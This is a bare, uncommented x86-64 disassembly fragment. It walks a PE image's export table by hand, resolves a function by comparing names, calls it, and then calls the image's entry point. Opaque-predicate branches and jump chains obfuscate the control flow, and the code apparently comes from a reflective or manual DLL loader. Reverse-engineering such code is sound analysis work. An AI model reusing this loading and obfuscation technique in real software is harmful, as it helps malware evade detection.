lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022bf
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002213
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022c1
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
mov rdi, qword [rsp + 0x70]
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x180002245
add rbp, 1
add rdi, 1
cmp al, bl
je 0x18000222e
cmp al, bl
je 0x180002253
add rdx, 4
add rcx, 2
jmp 0x180002224
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r12
mov rdx, r15
call rsi
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
add qword [rsp + 0x30], 8
add rcx, 8
mov qword [rsp + 0x58], rcx
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002196
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002196
jmp 0x1800022bd
add qword [rsp + 0x60], 0x14
jmp 0x180001dbd
jmp 0x1800022ad
jmp 0x1800022af
jmp 0x1800022b1
jmp 0x1800022b3
jmp 0x1800022b5
jmp 0x1800022b7
jmp 0x1800022b9
jmp 0x1800022bb
jmp 0x1800022bd
jmp 0x1800022bf
jmp 0x1800022c1
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002340
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002340
mov rsi, qword [rsp + 0x40]
mov eax, dword [rsi + 0x28]
add rax, r14
call rax
mov eax, dword [rsi + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002319
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022ef
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002340
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022ef
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret